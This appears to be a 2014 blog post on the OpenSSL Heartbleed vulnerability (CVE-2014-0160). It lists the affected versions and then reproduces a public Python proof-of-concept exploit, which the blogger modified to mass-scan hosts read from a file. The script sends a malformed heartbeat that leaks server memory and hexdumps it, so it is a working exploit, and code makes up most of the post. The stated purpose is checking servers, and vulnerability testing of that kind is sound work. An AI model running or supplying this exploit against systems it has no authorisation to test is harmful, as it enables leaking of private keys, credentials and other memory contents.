Wednesday, 9 April 2014

A OpenSSL HeartBleed vulnerability Python

As you know, At 8/Apr/2014, Called OpenSSL heartbleed ZeroDay bug is security vulnerability.
A hacker could gain Server's memory chuck using this vulnerability


Affected SSL version:
OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable


I need check servers, so I modified the exploit to check lots servers.


 #!/usr/bin/python  
    
 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)  
 # The author disclaims copyright to this source code.  
    
 import sys  
 import struct  
 import socket  
 import time  
 import select  
 import re  
 from optparse import OptionParser  
   
 '''   
 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')  
 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')  
 '''  
   
 def ip_n_port(i):  
   data = str(i).replace("\n","")  
   data = str(i).replace(" ","")  
   data = data.split(":")  
   ip = data[0]  
   port = data[1]  
   return ip, port  
   
 def h2bin(x):  
   return x.replace(' ', '').replace('\n', '').decode('hex')  
    
 hello = h2bin('''  
 16 03 02 00 dc 01 00 00 d8 03 02 53  
 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf  
 bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00  
 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88  
 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c  
 c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09  
 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44  
 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c  
 c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11  
 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04  
 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19  
 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08  
 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13  
 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00  
 00 0f 00 01 01                   
 ''')  
    
 hb = h2bin('''   
 18 03 02 00 03  
 01 40 00  
 ''')  
    
 def hexdump(s):  
   for b in xrange(0, len(s), 16):  
     lin = [c for c in s[b : b + 16]]  
     hxdat = ' '.join('%02X' % ord(c) for c in lin)  
     pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)  
     print ' %04x: %-48s %s' % (b, hxdat, pdat)  
   print  
    
 def recvall(s, length, timeout=5):  
   endtime = time.time() + timeout  
   rdata = ''  
   remain = length  
   while remain > 0:  
     rtime = endtime - time.time()   
     if rtime < 0:  
       return None  
     r, w, e = select.select([s], [], [], 5)  
     if s in r:  
       data = s.recv(remain)  
       # EOF?  
       if not data:  
         return None  
       rdata += data  
       remain -= len(data)  
   return rdata  
        
    
 def recvmsg(s):  
   hdr = recvall(s, 5)  
   if hdr is None:  
     print 'Unexpected EOF receiving record header - server closed connection'  
     return None, None, None  
   typ, ver, ln = struct.unpack('>BHH', hdr)  
   pay = recvall(s, ln, 10)  
   if pay is None:  
     print 'Unexpected EOF receiving record payload - server closed connection'  
     return None, None, None  
   print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))  
   return typ, ver, pay  
    
 def hit_hb(s, ip, port):  
   s.send(hb)  
   while True:  
     typ, ver, pay = recvmsg(s)  
     if typ is None:  
       print 'No heartbeat response received, server likely not vulnerable'  
       return False  
    
     if typ == 24:  
       print 'Received heartbeat response:'  
       hexdump(pay)  
       if len(pay) > 3:  
         print 'ip: %s, port: %s' % (ip, port)  
         fp = open('result.txt', 'a')  
         fp.write('%s:%s' % (ip, port))  
         fp.close()  
         print 'WARNING: server returned more data than it should - server is vulnerable!'  
       else:  
         print 'Server processed malformed heartbeat, but did not return any extra data.'  
       return True  
    
     if typ == 21:  
       print 'Received alert:'  
       hexdump(pay)  
       print 'Server returned error, likely not vulnerable'  
       return False  
    
 def main(ip, port):  
   '''  
   opts, args = options.parse_args()  
   if len(args) < 1:  
     options.print_help()  
     return  
   '''  
   print ip, port  
     
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
   print 'Connecting...'  
   sys.stdout.flush()  
   s.connect((ip, int(port)))  
   print 'Sending Client Hello...'  
   sys.stdout.flush()  
   s.send(hello)  
   print 'Waiting for Server Hello...'  
   sys.stdout.flush()  
   while True:  
     typ, ver, pay = recvmsg(s)  
     if typ == None:  
       print 'Server closed connection without sending Server Hello.'  
       return  
     # Look for server hello done message.  
     if typ == 22 and ord(pay[0]) == 0x0E:  
       break  
   print 'Sending heartbeat request...'  
   sys.stdout.flush()  
   s.send(hb)  
   hit_hb(s, ip, port)  
     
     
 if __name__ == '__main__':  
   f = open("lists.txt", "r")  
   for i in f:  
     ip, port = ip_n_port(i)  
     try:  
       main(ip, port)  
     except:  
       print ('no connection')  
   f.close()  
   

The file(lists.txt) is loading IPs should be "ip:port".
e. g,
1111:443
2222:8443

Reference:
http://www.exploit-db.com/exploits/32745/
http://heartbleed.com/

Thanks.

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